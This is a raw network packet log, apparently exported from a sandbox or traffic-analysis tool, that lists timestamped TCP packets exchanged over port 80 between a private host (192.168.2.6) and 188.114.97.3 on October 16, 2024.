                                                                                    Oct 16, 2024 10:58:11.666529894 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.666536093 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.666546106 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.666565895 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.666570902 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.666580915 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.666589022 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.666605949 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.666615963 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.666646004 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.666667938 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.666677952 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.666718960 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.666757107 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.666768074 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.666779995 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.666799068 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.666830063 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.666882992 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.666894913 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.666906118 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.666932106 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.666946888 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.671216965 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.671282053 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.671292067 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.671345949 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.671346903 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.671401978 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.671430111 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.671446085 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.671456099 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.671467066 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.671473026 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.671492100 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.671514034 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.671607971 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.671617985 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.671627045 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.671636105 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.671653032 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.671685934 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.673089981 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.673132896 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.673142910 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.673155069 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.673178911 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.673188925 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.673201084 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.673211098 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.673228979 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.673259020 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.673291922 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.673300982 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.673316956 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.673325062 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.673360109 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.673551083 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.673562050 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.673571110 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.673594952 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.673618078 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.673643112 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.673655987 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.673666000 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.673682928 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.673697948 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.674138069 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.674149990 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.674165964 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.674181938 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.674192905 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.674201012 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.674216032 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.674228907 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.674329996 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.674345970 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.674386978 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.674557924 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.674566984 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.674576044 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.674599886 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.674619913 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.685666084 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.685676098 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.685687065 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.685722113 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.685734034 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.685734987 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.685762882 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.685762882 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.685774088 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.685790062 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.685797930 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.685797930 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.685801983 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.685812950 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.685825109 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.685858965 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.686048031 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.686058044 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.686068058 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.686088085 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.686113119 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.686170101 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.686178923 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.686188936 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.686202049 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.686212063 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.686224937 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.686240911 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.686249018 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.686404943 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.686415911 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.686424971 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.686456919 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.686460972 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.686472893 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.686475039 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.686500072 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.686515093 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.686675072 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.686685085 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.686702013 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.686708927 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.686709881 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.686722994 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.686723948 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.686738968 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.686755896 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.729584932 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.729595900 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.729604959 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.729614019 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.729624987 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.729635000 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.729645014 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.729654074 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.729659081 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.729698896 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.733886957 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.733906031 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.733915091 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.733957052 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.733967066 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.733973980 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.733978987 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.734009981 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.778867006 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.778878927 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.778888941 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.778922081 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.778938055 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.780931950 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.780942917 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.780953884 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.780989885 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.780997992 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.781023026 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.781027079 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.781039953 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.781047106 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.781079054 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.781238079 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.781249046 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.781260014 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.781286955 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.781306028 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.781331062 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.781342983 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.781354904 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.781366110 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.781367064 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.781407118 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.781407118 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.781461954 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.781476974 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.781486034 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.781513929 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.781527042 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.784292936 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.784303904 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.784312963 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.784349918 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.784354925 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.784367085 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.784373045 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.784378052 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.784389019 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.784398079 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.784404039 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.784423113 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.784425020 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.784446955 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.784471035 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.784535885 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.784547091 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.784557104 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.784568071 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.784593105 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.784629107 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.784692049 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.784729958 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.784753084 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.784763098 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.784799099 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.784841061 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.784851074 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.784861088 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.784887075 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.784898996 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.788932085 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.788975954 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.788985014 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.789036036 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.789041996 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.789053917 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.789064884 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.789093018 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.789110899 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.789134026 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.789150953 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.789177895 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.789189100 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.789196968 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.789241076 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.789257050 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.789268017 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.789278030 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.789305925 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.789325953 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.790612936 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.790631056 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.790642023 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.790654898 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.790674925 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.790683985 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.790684938 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.790698051 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.790708065 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.790743113 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.790923119 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.790988922 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.790997982 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.791006088 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.791040897 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.791058064 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.791413069 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.791472912 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.791482925 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.791497946 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.791507006 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.791516066 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.791526079 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.791553974 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.791955948 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.791973114 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.791985035 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.791995049 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.792006016 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.792030096 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.792054892 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.792187929 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.792228937 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.792232037 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.792243958 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.792283058 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.792301893 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.792315006 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.792325020 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.792351961 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.792368889 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.804037094 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804095030 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804153919 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804163933 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804212093 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804223061 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804227114 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.804234028 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804270029 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.804327011 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804337978 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804347038 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804363012 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804367065 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.804377079 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804385900 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804389000 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.804398060 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804409981 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804421902 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804424047 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.804433107 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804441929 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804441929 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.804462910 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.804472923 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.804492950 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804511070 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804522038 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.804528952 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804533958 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.804542065 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804553032 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804555893 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.804563999 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804575920 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804584980 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804584980 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.804610014 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.804637909 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.804924011 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804934025 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804945946 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804955959 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:11.804991961 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:11.805012941 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.060254097 CEST8049735188.114.97.3192.168.2.6
